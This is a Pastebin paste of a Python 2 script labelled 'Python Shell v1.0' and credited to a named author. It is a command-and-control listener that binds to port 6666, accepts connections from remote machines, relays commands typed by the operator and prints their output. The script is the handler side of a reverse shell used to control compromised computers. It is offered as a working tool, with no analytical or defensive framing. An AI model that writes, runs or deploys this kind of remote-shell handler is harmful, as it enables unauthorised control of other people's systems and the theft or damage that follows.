SHARE
TWEET

AAAAAAAAAAAAAAAAAA

a guest Mar 25th, 2019 71 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2.  
  3. # CREADO POR LOCKEDBYTE (Twitter => @LockedByte)
  4.  
  5. import socket
  6. import threading
  7. import os.path
  8. host = "0.0.0.0"
  9. port = 6666
  10. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. print """
  12.  
  13. Python Shell v1.0
  14. -----------------------------------------
  15. """
  16.  
  17.  
  18. print ("[*] Handler started on " + host + ":" + str(port))
  19. sock.bind((host, port))
  20. while True:
  21.  
  22.     try:
  23.         print ("[*] Waiting for a session...")
  24.         sock.listen(1)
  25.         def worker(*args):
  26.             conn = args[0]
  27.             addr = args[1]
  28.             try:
  29.                 print('[+] Connection from {}.'.format(addr))
  30.                 print("[*] Don't use [CTRL] + [C] or Session will crash")
  31.                 print("[*] Starting a remote shell session\n")
  32.                 while True:
  33.  
  34.                     try:
  35.                         command = raw_input("$ ")
  36.                         if command == "exit":
  37.                    
  38.                             exit()
  39.                        
  40.                         else:
  41.                    
  42.                             conn.send(command)
  43.                             res = conn.recv(1024)
  44.                             print("\n" + res + "\n")
  45.            
  46.                     except:
  47.                    
  48.                         print("[-] Err.: An unknown error ocurred.")
  49.            
  50.             finally:
  51.                     conn.close()
  52.         while 1:
  53.             conn, addr = sock.accept()
  54.             threading.Thread(target=worker, args=(conn, addr)).start()
  55.        
  56.     except KeyboardInterrupt:
  57.         print("[-] To exit from the shell, execute 'exit'")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top